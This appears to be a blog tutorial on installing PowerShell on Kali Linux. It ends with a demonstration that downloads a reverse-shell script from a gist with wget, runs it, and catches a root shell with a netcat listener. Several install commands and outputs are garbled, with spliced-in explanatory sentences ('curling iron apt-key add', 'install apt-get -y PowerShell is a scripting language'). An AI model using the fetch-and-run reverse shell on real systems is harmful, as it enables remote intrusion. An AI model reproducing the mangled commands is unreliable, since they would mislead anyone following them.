How to Install Windows PowerShell on Kali Linux

Microsoft is a software development company. PowerShell is a system for automating processes and managing configurations that includes a command-line shell and a scripting language. PowerShell Core, which was released on August 18, 2016, was originally a Windows-only component known as Windows PowerShell, but it became open-source and cross-platform with the release of PowerShell Core. The former makes use of the.NET Framework, whereas the latter does so with.NET Core.

Also Read: Penetration testing tools for kali linux and How to Install Wireshark on Kali Linux

PowerShell is a free and open-source command-line program that works on both Linux and Mac computers. Depending on whether you’re using Windows or Linux, the PowerShell Package installation process is different. The PowerShell script is available for download on the GitHub page. After that, you can run PowerShell commands using Kali Linux’s Terminal.

Also Read: How to Install Burpsuite on Kali Linux and How to Install NMAP on Kali Linux

Kali Linux packages for Windows PowerShell installation

Let’s begin by using Kali Linux 2020. PowerShell must be installed on Kali Linux. A script to download for Kali Linux can be found on the GitHub tab. The script is given below and you have to download it.

Download Powershell.sh Script

The first thing you must do now is to open the Terminal. The PowerShell Package must then be installed after that.

Now all you have to do is to follow the command listed below.

chmod 755 powershell.shbash powershell.sh

The installation program for PowerShell can be found above. PowerShell can be started by typing pwsh after the PowerShell Package has been installed.

Installation of PowerShell Packages in  Kali

Begin by installing the required dependencies, the majority of which should already be installed in your Kali installation.

apt update && apt -y install curl gnupg apt-transport-https

This is a package that allows you to transport data over the internet using

The next step is to download and add the GPG key for the public repository, which will allow APT to trust the packages and notify you if there are any signature issues.

curling iron apt-key add – https://packages.microsoft.com/keys/microsoft.asc |

Now link the Microsoft package repository to its package list file in /etc/apt/sources.list.d/, and update the list of available packages to include the GPG key.

echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-stretch-prod stretch main" > /etc/apt/sources.list.d/powershell.list

The PowerShell kit should be installed after that.

install apt-get -y PowerShell is a scripting language that allows you to run commands on your computer.

After the package installation is complete, type pwsh to launch PowerShell, which will prompt us with the familiar “PS” prompt.

root@kali:~#pwsh

If you’re new to PowerShell, one of the first things you should do is update the built-in support using the Update-Help Cmdlet. This will take some time to finish, but it is enough to run it once.

PS /root>  Update-Help

Locating Help Content with Utility

While many of the commands you’re used to from PowerShell on Windows aren’t present, many of the core modules are, and the code is continually developed and improved.

PS /root> Get-Process -Name gnome*
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName

—— —– —– —— — — ———–

0 0.00 5.71 0.03 1073 072 gnome-keyring-d

0 0.00 9.80 0.19 659 649 gnome-session-b

0 0.00 13.72 0.36 1089 080 gnome-session-b

0 0.00 110.06 3.36 778 649 gnome-shell

0 0.00 277.15 27.85 1170 080 gnome-shell

0 0.00 11.77 0.09 1199 075 gnome-shell-cal

0 0.00 77.79 4.58 1381 080 gnome-software

0 0.00 36.58 2.03 1646 646 gnome-terminal-

However, one of the most surprising things you can do is to use PowerShell to give a Netcat listener a reverse shell. Much to our surprise, we discovered a tiny PowerShell reverse shell on the internet that happily linked back to our listener.

root@kali:~#pwsh

root@kali:~# pwsh

PowerShell v6.1.0-preview.2

Type ‘help’ to get help.

PS /root> wget -q https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1

PS /root> ./mini-reverse.ps1

────────────────────────────────────────────────────────────────────────────────

root@kali:~# nc -lvnp 413

listening on [any] 413 …

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 59006

id

uid=0(root) gid=0(root) groups=0(root)

 uname -a

uname -a is a command that can be used to find out information about

Linux kali 4.15.0-kali3-amd64 #1 SMP Debian 4.15.17-1kali1 (2018-04-25) x86_64 GNU/Linux

Linux is a free and open source operating system.

We think it’s impressive that Microsoft has not only open-sourced PowerShell, but has also been actively upgrading and developing it, and that there is a public package repository for it, making installation a breeze.

These are some of the simple and easy steps by which you can obtain PowerShell in Kali Linux. You have to follow every single steps with full Concentration. All these steps are very important for the person who wants to install Windows PowerShell on Kali Linux.

Visited 9 times, 1 visit(s) today

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.